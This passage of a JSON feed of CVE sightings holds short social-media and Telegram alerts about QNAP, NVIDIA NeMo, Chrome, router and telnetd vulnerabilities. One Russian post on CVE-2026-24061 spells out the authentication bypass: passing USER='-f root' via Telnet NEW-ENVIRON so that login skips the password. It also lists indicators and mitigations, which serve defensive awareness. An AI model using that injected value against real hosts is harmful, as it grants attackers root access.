"https://bsky.app/profile/cve.skyfleet.blue/post/3mnvwulzguo2h", "content": "CVE-2026-24717 - QTS, QuTS hero\nCVE ID : CVE-2026-24717\n \n Published : June 10, 2026, 3:14 a.m. | 1\u00a0hour, 5\u00a0minutes ago\n \n Description : A path traversal vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrat...", "creation_timestamp": "2026-06-10T05:06:35.281502Z"}, {"uuid": "9db3d1a8-f172-4619-81f7-125d80130c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24724", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnvx7flg2b2f", "content": "CVE-2026-24724 - File Station 5\nCVE ID : CVE-2026-24724\n \n Published : June 10, 2026, 3:15 a.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : An incorrect authorization vulnerability has been reported to affect File Station 6. If a remote attacker gains a user account, they can the...", "creation_timestamp": "2026-06-10T05:12:37.521564Z"}, {"uuid": "f1353754-3068-4bf9-9285-f26053568d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnvxhzrvd72y", "content": "CVE-2026-24719 - QTS, QuTS hero\nCVE ID : CVE-2026-24719\n \n Published : June 10, 2026, 3:14 a.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : A command injection vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administ...", "creation_timestamp": "2026-06-10T05:17:26.917941Z"}, {"uuid": "b585080a-6f08-450b-8734-715a003adadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24716", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnvxycbtn72m", "content": "CVE-2026-24716 - QTS, QuTS hero\nCVE ID : CVE-2026-24716\n \n Published : June 10, 2026, 3:08 a.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an ...", "creation_timestamp": "2026-06-10T05:26:32.872105Z"}, {"uuid": "ce7e8641-f58d-4c47-a898-8d5562686441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24720", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnvypnmdxo24", "content": "CVE-2026-24720 - File Station 5\nCVE ID : CVE-2026-24720\n \n Published : June 10, 2026, 3:08 a.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 6. If a remote attacker gain...", "creation_timestamp": "2026-06-10T05:39:36.453272Z"}, {"uuid": "15488033-decc-4e27-83bc-6061651bbc4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24066", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnxcae2vjm26", "content": "Slate Digital Connect 1.37.0 (macOS)\u306f\u3001XPC\u30b5\u30fc\u30d3\u30b9\u3067\u8a3c\u660e\u66f8\u306e\u691c\u8a3c\u304c\u4e0d\u5341\u5206\u306a\u305f\u3081\u3001\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u8005\u304c\u4e0d\u6b63\u306a\u8a3c\u660e\u66f8\u3067\u7279\u6a29\u6607\u683c\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-24066 CVSS 8.4 | HIGH", "creation_timestamp": "2026-06-10T18:02:40.207556Z"}, {"uuid": "7374b079-7955-4939-9142-35f3bde8b1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24067", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnxcdxd5px2v", "content": "Slate Digital Connect 1.37.0 (macOS\u7248) \u306b\u306f\u3001PID\u518d\u5229\u7528\u306b\u3088\u308bTOCTOU\u7af6\u5408\u72b6\u614b\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u8005\u306f\u7279\u6a29\u30d8\u30eb\u30d1\u30fc\u6a5f\u80fd\u3078\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3057\u3001\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u2026\nCVE-2026-24067 CVSS 8.4 | HIGH", "creation_timestamp": "2026-06-10T18:04:41.251524Z"}, {"uuid": "795c46ab-742e-4dac-8f24-a7209fb56564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24303", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnxop6rx4x23", "content": "\ud83d\udea8 CRITICAL ALERT: CVE-2026-24303\n\nCVSS 9.6/10 | CRITICAL\n\nImproper access control in Microsoft Partner Center allows an authorized attacker to elevate privileges over a network.\n\nAffects: partner_center\n\nIf you're running partner_center, check your patch status NOW.\n\nVerify: https://nvd.nist.gov/vul", "creation_timestamp": "2026-06-10T21:45:43.135234Z"}, {"uuid": "b53cc394-f567-4f4d-9dc5-fe823c2609a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24187", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnydz7e3co2o", "content": "\ud83d\udccc CVE-2026-24187 - NVIDIA Display Driver for Linux contains a vulnerability where an attacker could cause a use-after-free. A successful exploit of this vulnerability mi... https://www.cyberhub.blog/cves/CVE-2026-24187", "creation_timestamp": "2026-06-11T04:07:07.967202Z"}, {"uuid": "e75bce39-bbb0-4bdd-8dac-b5f5ba292a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24187", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mnydzaulpn2f", "content": "\ud83d\udccc CVE-2026-24187 - NVIDIA Display Driver for Linux contains a vulnerability where an attacker could cause a use-after-free. A successful exploit of this vulnerability mi... https://www.potatohub.blog/cves/CVE-2026-24187", "creation_timestamp": "2026-06-11T04:07:09.229377Z"}, {"uuid": "ee27e4fd-7efc-497a-88ab-b665fddba653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24444", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnzgaejeny2n", "content": "\ud83d\udea8 CRITICAL ALERT: CVE-2026-24444\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nSDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain ", "creation_timestamp": "2026-06-11T14:19:35.161468Z"}, {"uuid": "a15e37e1-872d-488d-bc7e-fd7b353182dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/sec_post/372", "content": "\ud83d\udea8 \u0412 telnetd (GNU InetUtils) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24061, \u00ab\u0441\u043f\u0430\u0432\u0448\u0430\u044f\u00bb 11 \u043b\u0435\u0442. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0437\u0430\u0434\u0430\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 USER.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c: \u0437\u0430 \u0441\u0443\u0442\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a \u0441 21 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e IP. CERT \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 telnet \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 SSH \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u0443.\n\n\ud83d\udd27 \u0414\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c telnetd \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0440\u0442\u0443 23/TCP. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 SecPost.", "creation_timestamp": "2026-08-06T00:00:33.021144Z"}, {"uuid": "92ebdc95-c965-4c66-9807-b8aed22224cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/sec_post/479", "content": "\ud83d\udcf1 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f Chrome, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-2441 (CVSS: 8.8).\n\n\ud83d\udcbb\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0434\u043d\u0430\u043a\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0448\u0438\u0431\u043a\u0438 \u0443\u0436\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0438. \n\n\u23e9\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f Windows, macOS \u0438 Linux, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 SecPost\ud83d\ude0d", "creation_timestamp": "2026-08-06T00:00:33.286746Z"}, {"uuid": "f73eb183-56aa-462e-bf0f-2be6c3ee0372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24444", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mobw34wfvm2z", "content": "\ud83d\udea8  ALERT: CVE-2026-24444\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\n\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Unknown\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: unknown vector\nImpact: high impact on confidentiality, integrity, availability\n\n\u2705 WHAT TO DO:\n  1. Check if you're running affected software NOW\n  2. Apply patches immediately ", "creation_timestamp": "2026-06-14T23:24:17.263546Z"}, {"uuid": "b835bd1b-3d2c-4f31-bde8-2afc2b96762a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2470", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116757781000613357", "content": "A lot of offensive activities were identified targeting Softaculous Page Builder Plugin (CVE-2026-2470) https://vuldb.com/vuln/370871/cti", "creation_timestamp": "2026-06-16T03:59:14.752365Z"}, {"uuid": "87718b28-b89e-44fd-8645-4b56ad7e1bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/cyberok_news/180", "content": "\u26a1\ufe0fGNU Inetutils \u2014 \u0432\u0435\u0447\u043d\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \n\n\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 2026 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u00ab\u043a\u0430\u043f\u0441\u0443\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\u00bb: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 telnetd \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 GNU Inetutils (CVE-2026-24061).\n\u0421\u041a\u0418\u041f\u0410 \u0432\u0438\u0434\u0438\u0442 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 \u043e\u043a\u043e\u043b\u043e 500 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435, \u0430 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u2014 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c\u0441\u044f.\n\n\ud83e\udde9 \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0412 GNU Inetutils telnetd (\u0434\u043e 2.7) \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u0443\u044f \u0432\u0432\u043e\u0434 \u043f\u0430\u0440\u043e\u043b\u044f \u2014 \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0438\u043c\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, root). \n\n\u0427\u0435\u0440\u0435\u0437 Telnet NEW-ENVIRON \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c USER=\"-f root\", \u0438 telnetd \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u0442 \u044d\u0442\u043e \u0432 /usr/bin/login, \u0433\u0434\u0435 \u0444\u043b\u0430\u0433 -f \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 autologin \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83c\udf81 \u0412 \u043c\u0430\u0435 2025 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b\u043e\u0441\u044c 10 \u043b\u0435\u0442! \n\n\ud83d\udc7b \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u0412 \u0441\u0435\u0442\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0420\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a.\n\ud83d\udd17GNU InetUtils Security Advisory: remote authentication by-pass in telnetd\n\n\u23f1\ufe0f \u0422\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432\n\u2716\ufe0f 20 \u044f\u043d\u0432 2026 \u2014 Advisory + \u0444\u0438\u043a\u0441 \u043e\u0442 \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0430\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u041f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0432 NVD, CVSS 9.8 \n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 GHSA\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 ITW-\u0441\u0438\u0433\u043d\u0430\u043b (\u0435\u0441\u0442\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438)\n\u2716\ufe0f 22 \u044f\u043d\u0432 2026 \u2014 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 + PoC\n\n\ud83e\uddfe \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438 (IoC)\n\u2022 \u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0435 login-\u0441\u0435\u0441\u0441\u0438\u0438 \u0434\u043b\u044f root \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\u2022 \u0412 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0434\u0430\u043c\u043f\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0440\u0435\u0434\u044b \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, -f, --)\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e GNU Inetutils 2.8 \u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 PATH_LOGIN.\n2. \u041b\u0443\u0447\u0448\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c telnetd (\u0432 2026 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u043e\u043a\u0441\u0438\u0447\u043d\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435) \u0438 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 SSH.\n3. \u0417\u0430\u043a\u0440\u044b\u0442\u044c 23 \u043f\u043e\u0440\u0442 \u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u043e\u0432 (OOB/Management VLAN).\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044e telnet-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 login.\n\n\ud83e\udddf\u200d\u2642\ufe0f \u0414\u0435\u0436\u0430\u0432\u044e \u0438\u0437 \u044d\u043f\u043e\u0445\u0438 Solaris\n\u0415\u0441\u043b\u0438 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u044e\u0436\u0435\u0442 \u0438\u0437 90-\u0445 \u2014 \u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f. \u0412 \u0441\u0442\u0430\u0440\u044b\u0445 UNIX/Solaris \u0443\u0436\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 telnet/rlogin, \u0433\u0434\u0435 \u00ab\u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0435 \u0444\u043b\u0430\u0433\u0438\u00bb \u0434\u043b\u044f \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041d\u0443 \u043a\u0442\u043e \u0438\u0437 \u00ab\u0441\u0442\u0430\u0440\u0438\u0447\u043a\u043e\u0432\u00bb \u043d\u0435 \u043f\u043e\u043c\u043d\u0438\u0442 CVE-2007-0882? \n\nCVE-2026-24061 \u2014 \u044d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u0430\u0440\u0445\u0435\u0442\u0438\u043f \u00ablegacy-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b + \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 autologin\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 Telnet \u0432\u0441\u0451 \u0435\u0449\u0451 \u0436\u0438\u0432 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.", "creation_timestamp": "2026-08-06T00:00:57.148139Z"}, {"uuid": "5ef0f3c7-16a4-4ece-9ec7-c0ba480a3866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24228", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moggebqyog2n", "content": "CVE-2026-24228 - NVIDIA NeMo Framework Deserialization Vulnerability\nCVE ID : CVE-2026-24228\n \n Published : June 16, 2026, 5:16 p.m. | 15\u00a0minutes ago\n \n Description : NVIDIA NeMo Framework for Linux contains a vulnerability where an attacker may cause deserialization of untrus...", "creation_timestamp": "2026-06-16T18:26:23.217988Z"}, {"uuid": "d81370c3-5e86-4a91-86ca-bf918b613133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24155", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moghi3uoun2c", "content": "CVE-2026-24155 - NVIDIA NeMo Code Injection\nCVE ID : CVE-2026-24155\n \n Published : June 16, 2026, 5:16 p.m. | 15\u00a0minutes ago\n \n Description : NVIDIA NeMo Framework for all platforms contains a code injection vulnerability. A successful exploit of this vulnerability might lead ...", "creation_timestamp": "2026-06-16T18:46:24.996573Z"}, {"uuid": "2e2d2620-e263-4523-97e1-cd98a0d0d211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24155", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mogibfdv322k", "content": "\ud83d\udfe0 CVE-2026-24155 - High (7.8)\n\nNVIDIA NeMo Framework for all platforms contains a code injection vulnerability. A successful exp...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24155/\n\n#infosec #cybersecurity #CVE #vulnerability 